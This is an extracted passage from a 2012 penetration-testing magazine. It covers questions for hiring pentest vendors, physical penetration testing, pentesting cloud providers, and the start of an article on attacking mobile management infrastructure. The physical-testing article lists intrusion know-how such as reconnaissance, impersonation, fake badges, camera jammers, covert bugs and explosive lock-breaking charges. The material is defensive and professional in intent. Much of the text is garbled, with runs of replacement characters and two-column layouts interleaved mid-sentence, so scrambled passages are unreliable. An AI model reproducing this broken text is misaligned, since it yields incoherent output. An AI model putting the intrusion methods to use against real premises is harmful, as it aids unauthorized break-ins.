assigned to our account. This gives you an idea of the
experience level of the team members as well as boxes
the provider in to providing you experience levels of
only the team members that will be testing your stuff. An
old industry trick is to bait and switch you by providing
your bios and experience of senior staff then assigning
very junior staff to do the actual testing. You want to try
to avoid this so try to work that into your RFP.
Has any current member of your team written
publicly about penetration testing or security in
general? Please list links to articles and/or blog
posts with dates
I find this question to be the most revealing and in
running the business to which I am dedicated. If you
THE BEST OF 01/2012
PENTEST REGULAR
have the best tester in the world but they cannot
communicate their thoughts coherently, what is their
end report going to look like? Probably pretty poor.
If you can see writing samples and get an idea of
their philosophy ahead of time you will build a greater
comfort level with them.
Has any current member of your team written
and/or released any penetration testing or
security tools?
This can separate the good testers with a mastery of
their toolsets from the truly great ones who can write
their own tools if necessary. As with the article writing
above it can give you a good idea ahead of time of their
philosophy as well as their technical skill.
Please de�ne your testing philosophy
Every good team should have a sound philosophy
around their testing. It should include what they will do
and, just as importantly, what they won’t. For instance,
I don’t like to include denial of service testing in our
standard testing offerings; that’s spelled out up front.
Others I’ve seen include what sorts of tests will be run
against a web application. This gives you an idea of how
much thought has been put behind a company’s service
offering. It will also almost always rule out definition N1
from above.
Can a tester be reached during the test?
Ask for an emergency phone number where you can
contact the tester during the testing phase just in case
anything goes wrong.
How will the status of the test be provided?
This is basically a project management question, but it
can be very important. You’ll want to know the frequency
of updates as well as if you’ll be contacted immediately
if a horrible/highly critical vulnerability was found.
Are remediation services available?
Some companies are simply not set up to help you
with fixing up the holes they find. You have to decide
if this is important to you. My opinion is that it helps
tremendously if a company can offer these services
because it helps the overall testing process and the
reporting if real advice can be offered on how to fix the
problems found. Again, it’s a personal choice.
Will a re-test be included in the testing price?
Basically, will the company come back and re-test the
things found to make sure they are properly fixed? I
think this is becoming more the norm these days but it’s
worth checking on during the RFP phase.
Page 14 http://pentestmag.com
Ask for a sample report
This will obviously give you a good view of the
final deliverable. The sample report should include
a response section so that you can comment on
vulnerabilities and provide feedback on the report. The
report phase should be collaborative and should not
exclude you as the customer. Often reports are done
in the dark and in a vacuum; there is no way you can
build a good report without taking into consideration
the business impact of the vulnerabilities and there
is no way to understand the business impact without
involving you.

References
I’ve always been torn on references. No one is going
to give you a bad reference. Of course you still want
to check them but I wouldn’t weight the references too
heavily. I’ve always wanted to ask a vendor for some
unfavorable references as well as good ones to give
me a balanced view. So far no one will give me any
bad references but I will keep you posted in case it
happens.
Penetration testing services can vary wildly from
provider to provider as with anything. Everyone has
a different definition and a different idea of what a
test should be. There is some work under way to
standardize the way things are reported and the way
tests are performed but not all providers are going to
follow those standards. You need to be careful about
who you hire because the right tester needs to have a
combination of technical, business, and communication
skills. You have to be able to trust that they will take
care with your production systems and not have them
come crashing down during the test. Can this always
be avoided? Of course not, but a good tester knows
how to take the necessary precautions. Asking the right
questions will get you that good tester and your life will
be better for it.

BILL MATHEWS
Bill Mathews is co-founder and
lead geek of Hurricane Labs,
an information security �rm
founded in 2004. He has been
in IT almost 20 years, in security
speci�cally for 13 of them, and
has been interested in security
since C3P0 told R2 to never
trust a strange computer. You
can reach Bill @billford and
@hurricanelabs on Twitter and
read other musings on http:// blog.hurricanelabs.com

THE BEST OF 01/2012

 PENTEST REGULAR

Physical Goes First

On The Importance of Physical Pentesting (With Some
Practical Advice)

Physical pentesting is still dangerously neglected by enterprises.

With a top-notch digital protection they seem to forget that it will
all come to nothing if a physical security breach happens. Let’s try
to look into this problem.

I
magine yourself in those kind of action movies
such as 007, Mission Impossible, Die Hard,
Entrapment, Ocean’s eleven, to name a few,
where you are playing the role of the thief or a special
agent either alone or most likely with the companion
of a few (or a lot) other criminals planning to infiltrate
a highly-protected facility where in 99.9% of times
you want to get in there to steal something very
valuable. In a few decades ago it would most likely
be something like gold bars, diamonds, money, a
masterpiece of art from some renowned artist or
any other kind of reliquary. In some cases still is
but in today’s context, incredible as it may seem,
there are other things as much as valuable or even
more valuable than the previous mentioned objects:
information. You can also recall of PC games like
Splinter Cell where you are a special agent always
breaking into physical security using your stealthy
abilities (among other tech savvy ones), lock picking
doors, using high tech gadgets to go undetected by
the facility’s physical security.
It’s very similar the way it happens in a real world
scenario. Although there’s too much fantasy and lies in
these kind of movies and games, there’s also a lot of
pertinent things on how physical breaches occur and
most importantly, how bad guys act and what gadgets
and technologies they use to circumvent the target’s
facility security and infiltrate it. You must know their
Modus operandi. It’s both a class for criminals and
good guys alike. The same thing occurs with terrorist
movies, they make real well-designed plans to break
into the target’s facility using social engineering and
technologies that often times are more sophisticated
than the ones implemented in the so called enemy or
target. There are so many motivations that lead to this
kind of crime, most of times is for profit but this is not the
scope of this article.
And speaking of the enemy, one inevitable question
comes to my mind: do you know your enemy
(criminals)? Because it is most likely that he knows
you, and knows you very well. And in the event he
doesn’t, it can be a matter of time depending on
how secure your organization is in terms of security
awareness and controls. That’s exactly for this very
motive that the enemy is always one step ahead
of you. It’s like a chess game where you only know
the concepts of the game and the enemy already
mastered, so, logically he can defeat you easily,
it’s that simple. And keeping on the simplistic side
of things, keep in mind that everything in security,
either logical or physical can be simplified into a tiny
and simple word, risk. Obviously we only care about
securing something because there’s the possibility of
some unwanted event called risk happen. These risks
turn out to being threats such as natural phenomena,
human faults, insider threats, external threats, social

THE BEST OF 01/2012 Page 16 http://pentestmag.com

engineering, espionage, virus, frauds, etc. There are
3 simple triads in what methodology is concerned in
physical security: detection, protection and response,
gates, guns (or gadgets) and guards and another one

What’s the big deal if you have the best firewalls,

IDSes, IPSes, routers, servers, hardened operating
systems and applications and even state of the
art policies and procedures if one individual can
just walk into the data center and plug off all the
cables or steal your data without anyone knowing
it?
is: technology, people and process. Pentesting teams
should always have these concepts in mind when
conveying the scope of a penetration test to a client,
it’s often overlooked because I’ve come to places
where there was no methodology on how to conduct
the tests and also make of it an ongoing process.
Technical expertise is very important, but equally
important is the whole team’s understanding about
the processes and methodology or it will not succeed
on implementing an effective plan. It’s when Risk
Management (Risk = Threat x Vulnerability) comes
into play. It can be a risky process as unexpected
down time to the environment could cause negative
results. It is critical that the business continuity plans
(BCPs) and the disaster recovery plans (DRPs) have
been tested and verified before any penetration is
ever undertaken. The keyword is convergence, all the
pieces must fit one another in order to make all this
thing happen. We have to integrate technology and
people with physical security policies, it’s the perfect
match. It has the potential to save lives and assure
your business wealth, and reduce to a high degree
the risk level. It’s all about people and our – human?-
nature. There’s always one link that is always the
weakest and that link is people.
Generally, the physical pentest is conducted after
the software (or logical) test. From my point of view it
As important as making the test itself is to make
a detailed report on scope, success and failures,
issues, classified levels: minor, major, critical
where applicable.
should the other way round. Can anyone tell me what’s
the big deal if you have the best firewalls, IDSes,
IPSes, routers, servers, hardened operating systems
and applications and even state of the art policies and
procedures if one individual can just walk into the data
center and plug off all the cables or steal your data
without anyone knowing it? Logical security is nothing
without physical security. Bear in mind that all CSO’s
are responsible for physical security, I know many

THE BEST OF 01/2012


of them who just don’t care as much as they should
about physical security. They only care about logical
perimeter security (e.g firewalls, IDSes, routers,
proxies, etc), it’s wrong! Can you tell me what are
your DMZ’s good for if I step into your servers room
and hack into you servers, routers and firewalls? Or
format the HD’s 5 times in your whole server clusters
inside the DMZ? Unless you have a good DR plan and
quick recovery backup system I would have already
brought your business to the ground. Even if you have
a mirror site in another part of the city, or state or other
countries your company will not be running at its full
capacity and the damage is done. Ok, so what? How
are we going to protect our premises from a physical
security perspective? What are the best practices?
What are the countermeasures? What methodology
should I use? What pentest teams should care about
and how should they perform the tests? Let’s try to
answer these and other questions that may arise
now.
To effectively make a security countermeasure you
have to think like a hacker, cracker or any sort of criminal.
So, to protect your premises in a very effective manner
you have to apply the best in class access controls and
Countermeasures
One of the best approaches to physical security in my
humble opinion is what some enterprises have already
adopted and I like to call it Star, because It’s composed of 5
layers. Like any kind of security, a layered concept is always
the best choice as it eliminates single points of failure. The
respective layers are as follows:
Physical Security Layer – 1 – Perimeter – Blast walls and
gates, fencing, guards, radios, guns, etc. Uninterrupted
Power Supply and backup generators.
Physical Security Layer – 2 – The exterior walls and
glasses – exterior door is reinforced, alarmed, use of
bulletproof glasses, access controlled and viewed by a
dedicated �xed camera,
Physical Security Layer – 3- Inner walls – Man traps, It
should be used in conjunction with security staff, video
surveillance, locks, seismic sensors, motion sensors,
sprinklers, �re and gas suppression, etc.
Physical Security Layer – 4 – Access controls – Guards,
cameras, sprinklers, intercoms and biometric readers, Access
Control requires that a 24/7 staffed Security Command
center officer veri�es that the person standing in the mantrap
matches a �le photo. After con�rmation, the officer activates
the second proximity and biometric reader for use.
Physical Security Layer – 5 – Compartmented spaces
(where the data center is located or other valuable and
restricted area)- Every customer space, whether it is a cage,
cabinet or suite, is individually locked, protected, alarmed
and monitored. Additional security safeguards, such as
man-traps, intrusion sensors and surveillance cameras can
be added to these spaces at the customer’s request.
THE BEST OF 01/2012
PENTEST REGULAR
physical perimeter defense. If your enterprise doesn’t
have budget, try to make a balance and see what is
most effective in your case oriented by a pentest team.
Oh, you don’t have budget to hire a pentest team, calm
down, you may have IT security personnel, ask them for
advice on what are the best security implementations
for your company; if you don’t have any of these, you
can still buy some cheap and good cameras and buy a
dog or hire one guard. If you can’t afford that, you’re in
bad shape, but you can still pray.
Physical security assessments x Physical
security pentesting
When performing physical security assessments of a
business we look for ways to tighten your business.
Generally some questions should include, who has
access to your building, servers room, office space,
laptops and PC’s and what time should they have
this access granted, which parts of the building have
classified information and who has access to them?
When was the last time you checked you fire, flood and
smoke detectors? Are they operational and in correct
locations? How easy would it be to get in your office
and steal a piece of equipment? Do you have a security
system including motion sensors and alarms? Do you
have security cameras and are they properly configured
and managed? Other universal questions, like the ones
made by Ken Stasiak, president of Secure State, are of
ultimate importance. You can check them following the
following url: http://tinyurl.com/3fwhuxw.
Don’t take anything for granted, make sure you have
made all these questions (including the ones I made) and
all of them have been answered by the pen test team.
As the name suggests, this is an assessment but
should not lack in scope and methodology, and must
be taken very seriously. Also, don’t forget the H.C.I.A
approach: human safety, confidentiality, integrity and
availability. These are the main objectives of physical
security.
Strategies and tactics – make it harder for
the criminals
• Do you remember the triple A of the logical security?
Authentication, authorization and accounting? Yes, it
must be used on physical security too.
• Well de�ned security zones : external, internal,
perimeter, restricted, secure and so on.
• Separate each zone with a barrier: door, locks, cameras,
person, sensors, walls, fences, guards, etc.
• Use the concept of 3D security (�oor, walls and ceiling).
Use �oor sensors, lasers, temperature sensors, alarms on
the event of a roof breach.
Page 18 http://pentestmag.com
 Physical pentesting will be the action, so to speak,
of the previous assessment, remembering that there’s
no particular order in which it can be conducted.
You can make one and do not make the other, it all
depends of the customer’s scope and what they want
to accomplish. But in my view, it doesn’t make sense,
accomplishing one without the other. As we do in the
logical sphere when performing a pentest, we’ll try to
do quite the same thing, just that this time it involves
some other aspects. But the logic is the same, we’ll
try to break into something and see if it can stop us
or not and how secure it really is and what corrective
measures can be implemented. A physical penetration
test also identifies the security weaknesses and
strengths of a company’s physical security. This is
why the penetration testers must be also trained in
social engineering special attacks, and deception
techniques, technology expertise and provide a fully
documented test plan and work with the customer to
find an acceptable level of exploitation, and define
rules of engagement for the operation. Questions
your team should make to your clients include: what’s
the overall goal of the test?, What do we know about
the customer? What or who is the target? (this is very
important because open ended tests lack purpose),
What type of testing should we perform: forced or
covert? Etc. A physical pentest have to determine:
potential attack vectors, evaluates the controls,
Phases of Penetration Testing: counter
intelligence
(do not forget the “get out of jail free card” or authorization
test letter).
Pre-Attack Phase
The two phases are passive and active reconnaissance.
Passive reconnaissance – It should include the use of
blueprints of the target in question. Make satellite imagery:
google earth, google maps, etc. War driving, Binoculars,
Dumpster diving. Eavesdropping on employee conversations
using electronic devices or, researching the target through
common Internet tools such as Who is, using tools to gather
information about people and companies such as Maltego.
Use tools like FOCA to gather information about the target’s
website.
Active reconnaissance – probing the target- intercepting
communications en route using wi-� technologies systems,
impersonating people, social engineering, use of hich tech
gadgets, etc.
Attack Phase
Use the methodology and the tools you have chosen and start
the action.
Tools: Social engineering, laptops, handhelds, rogue access
points, fake badges, laser, microphones: T.A.K. (Tactical Audio
Kit). Camera Jammers , disposable pick , covert listening and
THE BEST OF 01/2012
exposes potential vulnerabilities, identification/
analysis of threat sources and yes, surely, should
include social engineering. Must be a repeatable
process and easy for the customer to understand,
always remember, that methodology is important.
For example, you can try to define which
methodology and scope you’ll use making questions
like: can we survey the target, record the target,
bypass controls and obstacles, alter controls, break
and destroy, introduce additional elements? Also
define what are the main threats to the target in
question, and so forth. This will make things clearer
and help you define and mitigate the threats being
evaluated. The best methodologies in use today
are ISECOM’s OSSTMM, NIST 800-12 and CPTED
(another triad). Also as important as making the test
itself is to make a detailed report on scope, success
and failures, issues, classified levels: minor, major,
critical where applicable. And again, you may be
asked to explain your methods. Also, it must be a
real world scenario. When you evaluate, design, and
implement an effective integrated physical security
plan it doesn’t necessarily mean you have to use all
the controls available nor all the security policies as
well. Instead you shall define which is best for your
company and if according to the company’s security
policies, the current solution fits your needs and you
are comfortable with the actual security level.
speaking devices (bluetooth, audio and video bugs, voice
changers), button camera kit, distant voice recorders, built-
in cell phone listening devices, unconventional lock picks
(micro explosive-shaped charges deliver a quick impact to any
standard lock cylinder that will shatter the pins and unlock
the door) Night Vision Headset, Snake Cam (is essentially
a �ber optic cable). Ultrasonic motion sensors, thermal
motion Sensors, eavesdropping on VoIP, GPS tracker, noise
generators.
Pen test life cycle: Perimeter Testing: Acquire Target: breaking
defenses: getting in: escalating privileges: cause damage:
leaving the place: mission complete.
Remember, the longer you remain on site during a physical
penetration test, the greater your chances of discovery
and failure become. It is therefore absolutely essential you
conclude your operation as quickly as possible once the
physical element is initiated.
Post-Attack Phase- Penetration
Testing deliverables, validation of penetration and �nal
report.
Page 19 http://pentestmag.com

Remember
• Make a thorough security site survey with the
customer’s personnel of all levels of hierarchy to identify
areas that will host assets of sensitive nature.
• Security officers should patrol the facility 24x7x365 with
local police knowledge
• It is mandatory for all employees and management
personnel (regardless of position and responsibility)
sign con�dentiality and nondisclosure agreements at
the time of joining. All physical security measures are
enforced at all times.
• Indentify potential crime targets and take preventive
measures.
• Check if all access controls are working and being
properly managed
• Security officer and operators must verify if the CCTV is
working they have total visibility of what’s happening in
and out the facility in a 360o angle.
As with other security issues it is best to practice
defense-in-depth which means to have multiple
layers of protection. In other words, don’t depend on
one protection as the entire defense strategy. There
should be a control center which commands every
aspect of the physical security with dedicated security
staff.
What do we have in our favor to stop the
criminals? Which tools are available? (Many)
Hardware locks: conventional (lock and key), deadbolt
(physical bolt), electronic (keyless), hybrid locks
(mechanical an electronic), token-based (magnetic
swipe card or proximity reader). Biometric, both
physiological and behavioral such as eyeballs, iris,
retina, fingers, face and voice recognition, speed of
typing, etc, multi-factor (smart card, tokens and PIN’s).
Mantraps, video surveillance such as: CCTV (can
replace physical guards in some cases), Continuous
video surveillance, fencing (barbed wire in the
perimeter, best options are made of iron or stainless
steel and are very robust, will prevent people from
cutting and climbing. There are heavy-duty defenses
for high security areas and installations such as crash-
rated bollards, crash-rated gates, wedge barriers, road
blockers, tire killers, barrier lift systems and tracked
gates (obviously these are mainly implemented in
government and military sites’ facilities but there’s
nothing that impedes you from implementing it on
your data center surroundings). Vaults, number
plate recognition systems, sensors – infrared
motion, ultrasonic motion, photoelectric motion,
electromechanical sensors such as door contacts,
internal lock sensors and seismic sensors- these are
very important considerations you have to put in place
THE BEST OF 01/2012
PENTEST REGULAR
when building up your security defenses. Protect your
rubbish, secure your garbage (fence and a lock).
Shred the documents you no longer need. Make a
clean desk habit inside your organization. Lock your
information away when leaving desks unattended.
Lock your computer screen. Collect print jobs as soon
as they are printed. Don’t write passwords on papers.
Make people display their badges at all times inside
the company. Never lend it and protect from loss and
theft. Protect your access points (biometry, locks, etc)
and always close secure doors. Don’t hold doors open
for those you don’t know. Visitors must sign in and use
a visitor badge. Restrict their access and accompany
them at all times. Be careful with social engineering,
don’t be fooled or manipulated by strangers. Identity
must be verified of anyone requesting access to
a place. Immediately report suspicious activity or
people.
It’s true we cannot stop crime in its fullness in the
same manner we’ll not be able to handle the human
factor that is the only cause why we need so much
security implemented not only to prevent crimes
but chaos as well, it holds true in all aspects of life,
including professional, but we can create, plan, design,
implement and manage high-end security levels of
control to stop criminals and help to protect human
lives and businesses and their wealth. It’s a game of
deception, but hopefully we’ll get things sorted out in
the end.
EMERSON LIMA
Sr. Systems engineer at Cray Inc.
Is a professional with solid experience in the area of
corporative networks, servers, operating systems and
applications (IT infra-structure) and telecom, with
performance in small, medium and big companies, three of
them being giant multi-national companies such as Unisys,
IBM and HP. Experience of 12 years in the area of networking,
operating systems and hardware and 8 years in the ethical
hacking �eld, 5 years of project management and 16 years
of overall experience in the IT �eld , dedicating himself to IT
security and ethical hacking in the last 5+ years including
cyber security and incident response, forensic investigations
or other related aspects of security and network operations,
solid understanding of interconnected systems and the
potential exposures to vulnerabilities, large experience in
big datacenters, experience with SIEM or Log Management
technologies and products. Experienced in IT compliance
standards and frameworks such as PCI DSS, SOX, ISO
27001. Firewalls, VPN, authentication, intrusion detection,
malware detection, and vulnerability assessment and uni�ed
communications technologies.
Page 20 http://pentestmag.com
 �
����������
�����

���������������������������������������������������������������������
������������������������������������������������������������������
���������������������������������������������������������������������
������������������������������������������������������������������
���������������������������
�
������������������������������������������������������������������
������������������������������������������������������������������
��������������������������������������������������������������
�������������������������������������������������������������������
��������������������������������������������������������������������
������������������������������������������������������

����������������������
�������������������������
�������������������
 PENTEST REGULAR

Great Pen Test Coverage

Too Close For Missiles, Switching to Bullets

Tell me if this sounds familiar…you are asked to perform a

penetration test on customer network to determine the security
posture of their assets, and the first thing they do is give you a list
of assets that you are NOT allowed to test, because they are critical
systems to the business. Ironic isn’t it? This is exactly the difficulty
you can expect when performing penetration testing in the cloud,
but multiplied by ten.

T
here is a lot to think about and plan for when
you want to perform a penetration test in a cloud
service provider’s (CSP) network. Before we
get into the technical details, we need to start with the
basics.
Questions to ask yourself:
• What does my contract and SLA state about
penetration testing?
• Does the CSP already have a team of penetration
testers? And is this enough to meet your security
requirements or compliance objectives?
• Are we hiring a 3rd party company to perform the
penetration tests for us?
• Do we have our own penetration testing team?
CSP in-house pen test team: If your cloud service
provider has their own penetration testers that is great
news! Not only does it show that they take security
seriously, but it means that you can leverage their
internal testing results for your own audits. If you do not
have the money for your own penetration testing team
(either in-house or 3rd party), you may be able to request
detailed audit reports from the CSP relative to your

THE BEST OF 01/2012 Page 22 http://pentestmag.com

company. Have information disclosure policies built-in that they test for the OWASP Top 10 (https://
to your SLA, and monthly vulnerability reports delivered www.owasp.org/index.php/Category:OWASP_
to you. Some types of compliance will say this is not Top_Ten_Project) web application vulnerabilities.
enough and still require a 3rd party testing. Honestly, If they don’t have penetration testers, they should
you should perform your own penetration tests either at least be performing web application vulnerability
with your own team or by hiring a trusted and skilled 3rd scans using one of the several great tools out there
party. If your CSP claims that they are secure, are you they can setup in-house. Coincidentally, this type
just going to believe them? How do you know they didn’t of scanning can also be done from the cloud by
leave anything out of their reports? certain vendors as well.
Make sure you ask a lot of questions about what they • How did they test those things? Were the tests
tested & how: performed black box, white box, or grey box?
Vulnerability scans & fingerprinting are a precursor
• What was in scope? What devices, web apps, services, to the actual penetration testing. That being said,
databases, hosts, subnets, and network storage? Make you want to ensure that from the very beginning you
sure that any part of their Infrastructure (IaaS), Platform have an accurate vulnerability report by reducing the
(PaaS), or Software (SaaS) that is relevant to you is number of false positives discovered. The best way
included in the scope of testing and reports that are to do this is to use credentials (user + password). If
delivered to you. your vulnerability scanner says one of your servers
• For IaaS, you may want to see their architectural is running an unpatched, old version of Apache…
design and security review documents, security what is the best way to verify this? You login and see
policies and patch management policies, as well what version of Apache it is actually running. This is
as any hardening guides used. In addition you what white box testing does for you. It reduces the
should request vulnerability scans to be performed amount of unknowns in your testing. You don’t want
on your part of the VLAN or subnet. Other than any unknowns, because that is what will kill you.
providing you facilities with HVAC, physical Be warned you still MUST sort through any false-
security, and hazard positives, but the amount
controls – most of If you are going to hire outsiders, you will be you will have to deal with
the technical security playing the middleman, and working out a lot should be far less.
is your responsibility. of contract/SLA issues between all three parties • What tools were used?
Your job is to identify involved. If they used a vulnerability
what security gaps scanner, what scan policy
have not been filled by the CSP and fill them, or (what vulnerabilities) did they scan for? Top 10?
get the CSP to do it. Top 20? Make sure that anything you expect to
• For PaaS, in addition to everything listed above, be tested for is covered in their penetration tests
you should have your CSP verify that your & vulnerability scanning. If you are using a SaaS
platform is fully patched and up-to-date. Ensure product, you might want to know whether or not
that your installation of Apache, Ruby on Rails, their website enforces SSL encryption, or is being
Java, PHP, Bugzilla, Drupal, etc. is up-to-date and checked for code injection vulnerabilities such as
not running a default installation with default user Cross-site scripting (XSS) and SQL Injections.
names, passwords, and configuration files. If it is
not protected, it is your job as a PaaS tenant to 3rd party pen test team: If you are going to hire outsiders,
protect it. Some of these security responsibilities you will be playing the middleman, and working out a lot
will be shared by the CSP and yourself, so make of contract/SLA issues between all three parties involved.
sure you know where the line is drawn and who is You will have due diligence to perform when selecting
responsible for what through an SLA. your 3rd party pen test team. Many of the considerations
• For SaaS, security mostly depends on the CSP. suggested next should be used when hiring 3rd party pen
Make sure that in addition to everything listed above testers. You should ask the same questions and have
for IaaS & PaaS, that you get web application & similar requirements as listed above from the 3rd party
web service penetration testing done. Request pen test team just as one would with the CSP.
web application vulnerability reports, and make Your own pen test team: So you have a team and you
sure they have a web application security policy want to pen test your CSP. Great! Let’s get started. First,
that requires the CSP to test for vulnerabilities you should check your SLA and contractual agreement
on a regular basis. At a minimum, request between you and the CSP and then consider the type

THE BEST OF 01/2012 Page 23 http://pentestmag.com


of cloud you will be testing, because each of them has
different consideration you must account for:
• IaaS (Infrastructure as a Service)
• PaaS (Platform as a Service)
• SaaS (Software as a Service)
Next you Must Know the Scope of What
you Want Tested to Meet your Security
Requirements
• Web application pen test (this includes mobile
apps)
• Web service pen test (this includes mobile back-
end services)
• Network/host pen test (this includes databases,
firewalls, and other systems in your cloud network)
IaaS/PaaS web apps & web services: The good
news is that IaaS cloud grants the customer the most
granular control over the entire environment. That
means most of security built-in will have to be setup
by your organization, and you should have an easier
time planning how to properly conduct your test with
the given architecture. Since it is up to you to supply
the web application and web services, you will have
an easier time testing for vulnerabilities and performing
penetration tests. Since security is left to the cloud
user’s responsibilities, you usually will not have to
interact too much with the CSP to perform your own
penetration tests on your own system as part of your
cloud security program. You should state upfront in
your CSP contract that you will be performing your own
penetration tests, and what that scope is going to be,
and how often. This ideally should have been planned
early on the in contract, not after the fact. If you are
lucky, the CSP has already put this language into their
PENTEST REGULAR
service level agreement (SLA). You should know what
application and technology you are running in your own
cloud since it was provided by your organization, and
may not have to worry about multi-tenancy issues (but
you will for network & host level pen tests).
You should be able to easily reach your web application/
services remotely for penetration testing. However, if
you have deployed web application firewalls (WAF), or
reverse proxy servers into your cloud it can interfere with
your penetration testing. For the most accurate results,
it is recommended to pen test against these web apps/
services without your WAF or reverse proxy in front of
you. The reason is simple… you want to know what
vulnerabilities actually exist so that you can fix them.
WAFs are not replacements for secure coding practices.
You wouldn’t run an un-patched OS on the web with only
a firewall, and expect it to be “secured” would you? Testing
with these types of mechanisms in place give you a false
sense of security by hiding what really exists. However,
you may actually want to test with your IPS, WAF, and
other security devices in place; this will can also give you
another valuable point-of-view. You just need to decide: Is
the goal to test how well your devices are configured and
operating? Is the goal to test the CSP’s security team, and
how well attacks detected on their network? An exercise
can be coordinated with the CSP’s security team, by
which a live penetration test is conducted to test the
responsiveness and effectiveness of their security team.
You should opt to perform authenticated pen tests
against web apps and services, and authenticated
vulnerability scans against hosts. You will be able to get
more accurate test coverage of your cloud.
Iaas/PaaS network & hosts: If you want to pen test
your cloud network meticulously, you should perform
internal and external pen tests. This will provide you
with two dissimilar points of view, and likely different set
of vulnerability results.

������������������������������
�������������� �������� ��������
����������� ������������ ������������ ������������
����������

����������� ����������� ����������� �����������

����������

���� ���� ���� ����

������� ������� ������� �������

�������������
����������

���������� ���������� ���������� ����������

�������������

��� ��� ��� ���

�������������� �������������� �������������� ��������������

�������������

������� ������� ������� �������

������� ������� ������� �������

���������� ���������� ���������� ����������

Figure 1. Separation of responsibilities

THE BEST OF 01/2012 Page 24 http://pentestmag.com

 * A “pivot” It may be possible in your IaaS/PaaS
…is when a hacker breaks into a computer and uses that
computer to hack into another. This has a few advantages:
environment that multi-tenancy exists
If this condition exists, you may not be allowed to perform
1) It disguises the hackers true origins authenticated tests, or any test for that matter against certain
2) It allows a hacker to attack other targets from the point- systems (due to the impact it can have against other CSP
of-view of the victim (i.e. inside the �rewall). customers). You will have to work with your CSP to determine
what is allowed and what is not, which should all documented
If the attacker couldn’t port scan you before, he can now! in your contractual agreement and SLA. Your goal should still
The best type of pivot is a VPN pivot. The hacker sets up a se- be as much testing coverage as possible within legal bounds.
cure VPN connection between the compromised host inside
that those are hosted on. Make sure you perform
your network and the outside world, effectively giving him a
backdoor into your corporate network. authenticated penetration tests for the best coverage.
What you should take away from this is that penetration
To conduct an internal pen test, you should already testing in the cloud takes a large amount of coordination
have access to all your servers and hosts in the cloud and contract negotiations before the fun stuff can begin.
(including the databases and storage components). Before you negotiate the terms of penetration testing in
You should also have access control credentials and your contract, you have homework to do. Know what kind
network architecture. Start with an authenticated of penetration testing you want to perform. For areas that
vulnerability scan against your systems. The idea you are not able to test, make sure you take note of
behind an internal assessment is that you want to where security gaps may exist, and check to make sure
know what kind of damage you have compensating
a hacker (or disgruntled Penetration testing in the cloud takes a large controls in place to mitigate
employee) can do, if he/ amount of coordination and contract negotiations the risk. For example, if
she had access inside the before the fun stuff can begin. you are unable to perform
perimeter. This will also penetration tests against a
help discover potential pivot* points used by hackers. database, ask the user CSP to provide design details,
For an external and more realistic viewpoint of an sanitized device configuration files, the hardening guide
average hacker, you will want to test remotely from lines used, results from the CSP’s own penetration tests,
outside the DMZ. This should be performed as any and any other relevant audit reports. You have less
typical black box remote penetration test. External control over the cloud environment than with your own
white box testing here is not really necessary if you are network, so try to maintain as much of that control as
already performing internal white box pen tests. possible through contractual agreements and SLAs.
SaaS pen testing in general: It is up to the CSP to
provide all the security to the customer in this cloud
environment. That includes host level security all the AARON BRYSON
way up to web application security. Performing internal Aaron is a Senior Information Security
and external pen tests of any type will usually require Engineer & Risk Management Specialist
very difficult contract negotiations, because of multi- at Cisco’s Corporate Security Programs
tenancy. It very common that SaaS products share Office (CSPO), on the Infosec Risk & Audit
backend components (e.g. databases and storage), team. Aaron’s history at Cisco began
and as such certain vulnerability tests (e.g. DoS and with the Intrusion Detection/Prevention
SQL injection) may not be permitted. System team (IDS/IPS product). After a couple years he moved
Since you will have very little access beyond the to the consulting arm of Cisco as a penetration tester where his
public facing web application(s) & web service(s), you clients included many Fortune 500 companies & government
don’t have many options for network pen tests. To get entities in every vertical. Eventually, he moved his skills in-
this done in a SaaS environment, it will require very house to the Infosec team to create Cisco’s own internal
special permission and you will have to take what you application security penetration testing program to secure
can get. Remember that your objective is still to get as the companies’ few thousand applications, as well as a Red
much test coverage as possible. So try to push for an Team. Primary responsibilities now include developing and
internal pen test on their network as much as possible performing penetration test programs for Cisco’s products,
through documented mutual agreement. However, most web applications and services, and network on a global scale.
likely you will only get permission to pen test the web Clients include Cisco-on-Cisco, partners, acquisitions, and
app and web service itself, and maybe the web servers customers. http://www.linkedin.com/in/aabryson

THE BEST OF 01/2012 Page 25 http://pentestmag.com

 PENTEST REGULAR

Attacking the Mobile

Infrastructure
We will explore a few philosophies for attacking a mobile
management infrastructure. The article will cover the differences
in testing mobile stuff vs “everything else” as well as reusing some
of the things you know to demystify the mobile world.

I
would like to point out that I am by no means an Mobile smart phones and tablets do have a few key
expert in mobile devices or their management differences that I wanted to outline:
infrastructures. This article was as much a learning
experience for me as a writing project. I chose, • They are by and large single user systems with root
deliberately to not make this a terribly technical article or admin restricted by default
and more of a how to approach this article because I • They run specialized operating systems but rely
think sometimes in our industry we get hopelessly lost heavily on web interactions
in the this will be so cool that we forget the this is the • Often they aren’t controlled or managed by IT,
right, practical approach. Hope you enjoy. users bring in their personal phones for business
As penetration testers we often times get mired in use (we’re not focusing on these)
trying to craft attacks and finding 0-days when we should • Tablets (well the iPad anyway) are quickly
be fixating on our jobs, that is to provide an assessment becoming a great way to work from conference
of the security posture of a given system with practical rooms, meetings, etc. They are really a hybrid
scenarios. Though I see the between smart phone and a
value in crafting new attacks, As penetration testers we often times get mired laptop.
I’m not sure it’s the job of a in trying to craft attacks and finding 0-days
traditional penetration tester when we should be fixating on our jobs, that is to Now before we dig too much
but that’s another article. It’s provide an assessment of the security posture of a deeper I want to say that I’m
hard enough to resist that given system with practical scenarios. not going to focus too much
temptation when dealing with on attacking the phones/
web applications and Windows systems that have been tablets themselves, there is quite a bit of research
around forever and are pretty well understood but throw and work being done in those areas already and I
in something new and our geek buzzers start buzzing doubt I could add much to it. I have always taken
overtime. Whenever we’re asked to test some new a more practical approach to penetration testing
thing, in this case a mobile infrastructure, out come the (right or wrong), I start with the simplest, widest
compilers and debuggers. We should start by asking reaching techniques first then move out to the more
ourselves the most boring question possible, is this stuff difficult methods of attack. I’m not discounting direct
really THAT different than what we’re used to? phone attacks I just find them to be more of a pain

THE BEST OF 01/2012 Page 26 http://pentestmag.com

than they’re worth. First you have to find a phone to
target which is usually on a person, hope they have
it on and then hope it’s vulnerable to something
you’re prepared before. It’s pretty difficult to craft an
attack in just a few seconds as the target is walking
by. I digress, the real gold is in the management
infrastructure of these devices (where it exists)
because most likely it contains all the information in
the phone anyway. It’s also probably a much easier
and more practical target.
I’m also not going to focus on any one management
infrastructure as I would like to keep it generic enough
to apply to as many as possible. As I looked at these
various management tools most of them seemed to
have a few things in common. First, they’re almost
all web based with a database backend, does that
sound new, exciting or cutting edge? I hope not. That’s
right though, most of these cutting edge, high end
